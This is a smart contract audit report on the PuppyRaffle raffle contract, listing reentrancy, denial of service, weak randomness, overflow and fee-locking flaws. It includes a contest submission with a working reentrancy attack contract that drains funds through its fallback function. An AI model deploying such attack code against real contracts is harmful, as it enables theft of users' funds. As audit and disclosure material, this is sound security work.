Prepared by: 0xBreak
Project: PuppyRaffle (Security Contest)
Date: March 2026
[!ABSTRACT] Disclaimer
This report was prepared by 0xBreak. Our audit is a time-boxed security review of the smart contract logic. While we strive to find every vulnerability, an audit is not a guarantee of 100% security.
| Severity | Count |
|---|---|
| 🔴 High | 3 |
| 🟠 Medium | 2 |
| 🔵 Low/Info | 1 |
The PuppyRaffle smart contract was subjected to a detailed security review. Multiple high-severity vulnerabilities were discovered, ranging from Denial of Service (DoS) to Reentrancy attacks. These flaws put user funds and protocol stability at critical risk.
| Severity | Description |
|---|---|
| High | Direct theft of funds or complete protocol failure. |
| Medium | Significant disruption or potential loss of funds under specific conditions. |
| Low | Minor issues or optimization suggestions. |
refund FunctionSeverity: High (Critical)
The refund function uses sendValue (external call) before updating the player's status in the players array. Since the state change happens after the transfer, a malicious contract can call refund recursively until the contract is drained.
Solidity
Solidity
Recommendation: Implement the Checks-Effects-Interactions pattern. Move players[playerIndex] = address(0); before the sendValue call.
enterRaffleSeverity: High
The duplicate check in enterRaffle iterates through the entire players array for every new entrant. This results in O(n2) complexity. As more players join, the gas cost increases exponentially.
Based on the logs, we can see the massive increase in gas consumption:
100 players: ~1.073e9 gas units.
200 players: Significant spike (the second 100 uses even more gas than the first).
500 players: Gas usage reaches levels that would likely exceed the Block Gas Limit in a live environment.
Solidity
Recommendation: Replace the array iteration with a mapping(address => bool).
Severity: High
The winnerIndex and NFT rarity are calculated using block.timestamp and block.difficulty. These values are visible in the mempool and can be predicted.
A hacker can pre-calculate the results of the keccak256 hash. If the outcome is not a "Legendary" NFT or if they are not the winner, they can revert the transaction or choose not to call selectWinner until the block.timestamp aligns with their desired outcome.
Solidity
Recommendation: Use Chainlink VRF (Verifiable Random Function) for secure, tamper-proof randomness.
totalFees (Solidity < 0.8.0)The use of uint64 for totalFees is dangerous. Given the version 0.7.6, an overflow will not revert. If the protocol becomes popular, totalFees will reset to 0, losing all profit.
withdrawFeesThe strict check address(this).balance == uint256(totalFees) allows any attacker to lock the owner's fees by sending 1 wei via selfdestruct.
Auditor Notes: This report was compiled by 0xBreak. The findings highlight critical architectural flaws that require immediate refactoring before any mainnet deployment.
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.